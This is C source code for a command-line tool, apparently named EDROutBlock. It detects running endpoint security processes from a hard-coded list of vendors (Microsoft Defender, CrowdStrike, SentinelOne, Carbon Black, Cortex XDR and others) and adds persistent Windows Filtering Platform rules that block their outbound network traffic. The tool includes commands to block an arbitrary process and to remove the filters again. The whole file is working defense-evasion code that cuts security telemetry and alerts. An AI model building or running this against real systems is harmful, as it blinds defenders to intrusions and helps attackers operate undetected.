#include "utils.h" char* edrProcess[] = { // Microsoft Defender for Endpoint and Microsoft Defender Antivirus "MsMpEng.exe", "MsSense.exe", "SenseIR.exe", "SenseNdr.exe", "SenseCncProxy.exe", "SenseSampleUploader.exe", // Elastic EDR "elastic-agent.exe", "elastic-endpoint.exe", "filebeat.exe", // Trellix EDR "xagt.exe", // Qualys EDR "QualysAgent.exe", // CrowdStrike "CSFalconService.exe", "CSFalconContainer.exe", // SentinelOne "SentinelAgent.exe", "SentinelAgentWorker.exe", "SentinelServiceHost.exe", "SentinelStaticEngine.exe", "LogProcessorService.exe", "SentinelStaticEngineScanner.exe", "SentinelHelperService.exe", "SentinelBrowserNativeHost.exe", // Cylance "CylanceSvc.exe", // Cybereason "AmSvc.exe", "CrAmTray.exe", "CrsSvc.exe", "ExecutionPreventionSvc.exe", "CybereasonAV.exe", // Carbon Black EDR "cb.exe", // Carbon Black Cloud "RepMgr.exe", "RepUtils.exe", "RepUx.exe", "RepWAV.exe", "RepWSC.exe", // Tanium "TaniumClient.exe", "TaniumCX.exe", "TaniumDetectEngine.exe", // Palo Alto Networks Traps/Cortex XDR "Traps.exe", "cyserver.exe", "CyveraService.exe", "CyvrFsFlt.exe", // FortiEDR "fortiedr.exe" }; BOOL inWfpFlag[sizeof(edrProcess) / sizeof(edrProcess[0])] = { FALSE }; // The "unblockall" feature will delete all filters that are based on the custom filter name WCHAR* filterName = L"Custom Outbound Filter"; // d78e1e87-8644-4ea5-9437-d809ecefc971 DEFINE_GUID( FWPM_CONDITION_ALE_APP_ID, 0xd78e1e87, 0x8644, 0x4ea5, 0x94, 0x37, 0xd8, 0x09, 0xec, 0xef, 0xc9, 0x71 ); // c38d57d1-05a7-4c33-904f-7fbceee60e82 DEFINE_GUID( FWPM_LAYER_ALE_AUTH_CONNECT_V4, 0xc38d57d1, 0x05a7, 0x4c33, 0x90, 0x4f, 0x7f, 0xbc, 0xee, 0xe6, 0x0e, 0x82 ); // 4a72393b-319f-44bc-84c3-ba54dcb3b6b4 DEFINE_GUID( FWPM_LAYER_ALE_AUTH_CONNECT_V6, 0x4a72393b, 0x319f, 0x44bc, 0x84, 0xc3, 0xba, 0x54, 0xdc, 0xb3, 0xb6, 0xb4 ); // Check if the running process is our list BOOL isInEdrProcessList(const char* procName) { for (int i = 0; i < sizeof(edrProcess) / sizeof(edrProcess[0]); i++) { if (strstr(procName, edrProcess[i]) != NULL && !inWfpFlag[i]) { inWfpFlag[i] = TRUE; return TRUE; } } return FALSE; } // Add WFP filters for all known EDR process(s) void BlockEdrProcessTraffic() { HANDLE hEngine; FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine); HANDLE hProcessSnap; HANDLE hModuleSnap; PROCESSENTRY32 pe32; MODULEENTRY32 me32; BOOL isEdrDetected = FALSE; EnableSeDebugPrivilege(); hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { printf("[-] CreateToolhelp32Snapshot (of processes) failed with error code: 0x%x\n", GetLastError()); return; } pe32.dwSize = sizeof(PROCESSENTRY32); if (!Process32First(hProcessSnap, &pe32)) { printf("[-] Process32First failed with error code: 0x%x\n", GetLastError()); CloseHandle(hProcessSnap); return; } do { if (isInEdrProcessList(pe32.szExeFile)) { isEdrDetected = TRUE; printf("Detected running EDR process: %s (%d):\n", pe32.szExeFile, pe32.th32ProcessID); // Get full path of the running process HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID); if (hProcess) { WCHAR fullPath[MAX_PATH]; DWORD size = MAX_PATH; QueryFullProcessImageNameW(hProcess, 0, fullPath, &size); FWPM_FILTER_CONDITION0 cond; FWPM_FILTER0 filter = {0}; FWP_BYTE_BLOB* appId; if (FwpmGetAppIdFromFileName0(fullPath, &appId) != ERROR_SUCCESS) { printf(" [-] FwpmGetAppIdFromFileName0 failed to get app ID.\n"); CloseHandle(hProcess); continue; } // Setting up WFP filter and condition filter.displayData.name = filterName; filter.flags = FWPM_FILTER_FLAG_PERSISTENT; filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4; filter.action.type = FWP_ACTION_BLOCK; cond.fieldKey = FWPM_CONDITION_ALE_APP_ID; cond.matchType = FWP_MATCH_EQUAL; cond.conditionValue.type = FWP_BYTE_BLOB_TYPE; cond.conditionValue.byteBlob = appId; filter.filterCondition = &cond; filter.numFilterConditions = 1; UINT64 filterId; DWORD result; // Add filter to both IPv4 and IPv6 layers result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId); if (result == ERROR_SUCCESS) { printf(" Added WFP filter for \"%S\" (Filter id: %d, IPv4 layer).\n", fullPath, filterId); } else { printf(" [-] Failed to add filter in IPv4 layer with error code: 0x%x\n", result); } filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6; result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId); if (result == ERROR_SUCCESS) { printf(" Added WFP filter for \"%S\" (Filter id: %d, IPv6 layer).\n", fullPath, filterId); } else { printf(" [-] Failed to add filter in IPv6 layer with error code: 0x%x\n", result); } FwpmFreeMemory0((void**)&appId); CloseHandle(hProcess); } else { printf(" [-] Could not open process \"%s\" with error code: 0x%x\n", pe32.szExeFile, GetLastError()); } } } while (Process32Next(hProcessSnap, &pe32)); if (!isEdrDetected) { printf("[-] No EDR process was detected. Please double check the edrProcess list or add the filter manually using 'block' command.\n"); } CloseHandle(hProcessSnap); FwpmEngineClose0(hEngine); return; } // Add block WFP filter to user-defined process void BlockProcessTraffic(char* fullPath) { HANDLE hEngine; FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine); WCHAR wFullPath[MAX_PATH]; DWORD size = MAX_PATH; CharArrayToWCharArray(fullPath, wFullPath, sizeof(wFullPath) / sizeof(wFullPath[0])); FWPM_FILTER_CONDITION0 cond; FWPM_FILTER0 filter = {0}; FWP_BYTE_BLOB* appId; if (FwpmGetAppIdFromFileName0(wFullPath, &appId) != ERROR_SUCCESS) { printf("[-] FwpmGetAppIdFromFileName0 failed to get app ID. Please check if the process path is valid.\n"); return; } // Setting up WFP filter and condition filter.displayData.name = filterName; filter.flags = FWPM_FILTER_FLAG_PERSISTENT; filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4; filter.action.type = FWP_ACTION_BLOCK; cond.fieldKey = FWPM_CONDITION_ALE_APP_ID; cond.matchType = FWP_MATCH_EQUAL; cond.conditionValue.type = FWP_BYTE_BLOB_TYPE; cond.conditionValue.byteBlob = appId; filter.filterCondition = &cond; filter.numFilterConditions = 1; UINT64 filterId; DWORD result; // Add filter to both IPv4 and IPv6 layers result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId); if (result == ERROR_SUCCESS) { printf("Added WFP filter for \"%s\" (Filter id: %d, IPv4 layer).\n", fullPath, filterId); } else { printf("[-] Failed to add filter in IPv4 layer with error code: 0x%x\n", result); } filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6; result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId); if (result == ERROR_SUCCESS) { printf("Added WFP filter for \"%s\" (Filter id: %d, IPv6 layer).\n", fullPath, filterId); } else { printf("[-] Failed to add filter in IPv6 layer with error code: 0x%x\n", result); } FwpmFreeMemory0((void**)&appId); FwpmEngineClose0(hEngine); return; } // Remove all WFP filters previously created void UnblockAllWfpFilters() { HANDLE hEngine; DWORD result; HANDLE enumHandle; FWPM_FILTER0** filters; UINT32 numFilters = 0; BOOL foundFilter = FALSE; result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine); if (result != ERROR_SUCCESS) { printf("[-] FwpmEngineOpen0 failed with error code: 0x%x\n", result); return; } result = FwpmFilterCreateEnumHandle0(hEngine, NULL, &enumHandle); if (result != ERROR_SUCCESS) { printf("[-] FwpmFilterCreateEnumHandle0 failed with error code: 0x%x\n", result); return; } while(TRUE) { result = FwpmFilterEnum0(hEngine, enumHandle, 1, &filters, &numFilters); if (result != ERROR_SUCCESS) { printf("[-] FwpmFilterEnum0 failed with error code: 0x%x\n", result); FwpmFilterDestroyEnumHandle0(hEngine, enumHandle); FwpmEngineClose0(hEngine); return; } if (numFilters == 0) { break; } FWPM_DISPLAY_DATA0 *data = &filters[0]->displayData; WCHAR* currentFilterName = data->name; if (wcscmp(currentFilterName, filterName) == 0) { foundFilter = TRUE; UINT64 filterId = filters[0]->filterId; result = FwpmFilterDeleteById0(hEngine, filterId); if (result == ERROR_SUCCESS) { printf("Deleted filter id: %llu.\n", filterId); } else { printf("[-] Failed to delete filter id: %llu with error code: 0x%x.\n", filterId, result); } } } if (!foundFilter) { printf("[-] Unable to find any WFP filter created by this tool.\n"); } FwpmFilterDestroyEnumHandle0(hEngine, enumHandle); FwpmEngineClose0(hEngine); } // Remove WFP filter based on filter id void UnblockWfpFilter(UINT64 filterId) { HANDLE hEngine; DWORD result; result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine); if (result != ERROR_SUCCESS) { printf("[-] FwpmEngineOpen0 failed with error code: 0x%x\n", result); return; } result = FwpmFilterDeleteById0(hEngine, filterId); if (result == ERROR_SUCCESS) { printf("Deleted filter id: %llu.\n", filterId); } else if (result == FWP_E_FILTER_NOT_FOUND) { printf("[-] The filter does not exist.\n"); } else { printf("[-] Failed to delete filter id: %llu with error code: 0x%x.\n", filterId, result); } FwpmEngineClose0(hEngine); } void PrintHelp() { printf("Usage: EDROutBlock.exe \n"); printf("- Add WFP filters to block the IPv4 and IPv6 outbound traffic of all detected EDR processes:\n"); printf(" EDROutBlock.exe blockedr\n\n"); printf("- Add WFP filters to block the IPv4 and IPv6 outbound traffic of a specific process (full path is required):\n"); printf(" EDROutBlock.exe block \"C:\\Windows\\System32\\curl.exe\"\n\n"); printf("- Remove all WFP filters applied by this tool:\n"); printf(" EDROutBlock.exe unblockall\n\n"); printf("- Remove a specific WFP filter based on filter id:\n"); printf(" EDROutBlock.exe unblock "); } int main(int argc, char *argv[]) { if (argc < 2) { PrintHelp(); return 1; } if (strcasecmp(argv[1], "-h") == 0 || strcasecmp(argv[1], "--help") == 0) { PrintHelp(); return 1; } if (!CheckProcessIntegrityLevel()) { return 1; } if (strcmp(argv[1], "blockedr") == 0) { BlockEdrProcessTraffic(); } else if (strcmp(argv[1], "block") == 0) { if (argc < 3) { printf("[-] Missing second argument. Please provide the full path of the process to block.\n"); return 1; } BlockProcessTraffic(argv[2]); } else if (strcmp(argv[1], "unblockall") == 0) { UnblockAllWfpFilters(); } else if (strcmp(argv[1], "unblock") == 0) { if (argc < 3) { printf("[-] Missing argument for 'unblock' command. Please provide the filter id.\n"); return 1; } char *endptr; errno = 0; UINT64 filterId = strtoull(argv[2], &endptr, 10); if (errno != 0) { printf("[-] strtoull failed with error code: 0x%x\n", errno); return 1; } if (endptr == argv[2]) { printf("[-] Please provide filter id in digits.\n"); return 1; } UnblockWfpFilter(filterId); } else { printf("[-] Invalid argument: \"%s\".\n", argv[1]); return 1; } return 0; }